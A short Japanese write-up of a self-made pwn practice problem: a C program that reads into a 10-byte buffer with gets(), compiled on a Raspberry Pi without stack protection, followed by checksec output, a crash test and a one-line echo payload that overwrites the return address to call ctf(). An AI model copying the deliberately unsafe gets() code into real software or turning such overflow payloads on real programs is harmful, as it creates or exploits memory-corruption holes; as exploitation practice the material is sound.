#概要
pwnの練習問題作って見た。
#問題
下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。
#include <stdio.h>
void ctf()
{
puts("You Cool!");
exit(0);
}
int main()
{
char buf[10];
gets(buf);
printf("%p\n", buf);
return 0;
}
#環境の調査
uname -a
Linux raspberrypi 4.4.34+ #930 Wed Nov 23 15:12:30 GMT 2016 armv6l GNU/Linux
gcc --version
gcc (Raspbian 4.9.2-10) 4.9.2
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 8.0 (jessie)
Release: 8.0
Codename: jessie
#コンパイルする。
gcc -fno-stack-protector -zexecstack test.c
#静的調査
pwn checksec a.out
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/pi/pwn1/a.out'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000)
RWX: Has RWX segments
#動的調査
Aを19個でSegmentation fault
echo -ne "AAAAAAAAAAAAAAAAAAA" | ./a.out
0xbec9c00c
Segmentation fault
#方針
バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。
#gdbで調査
ctf関数のアドレスは、0x000104b0
#コードを書く(正解)
echo -e "AAAAAAAAAAAAAAAA\xb0\x04\x01\x00" | ./a.out
以上。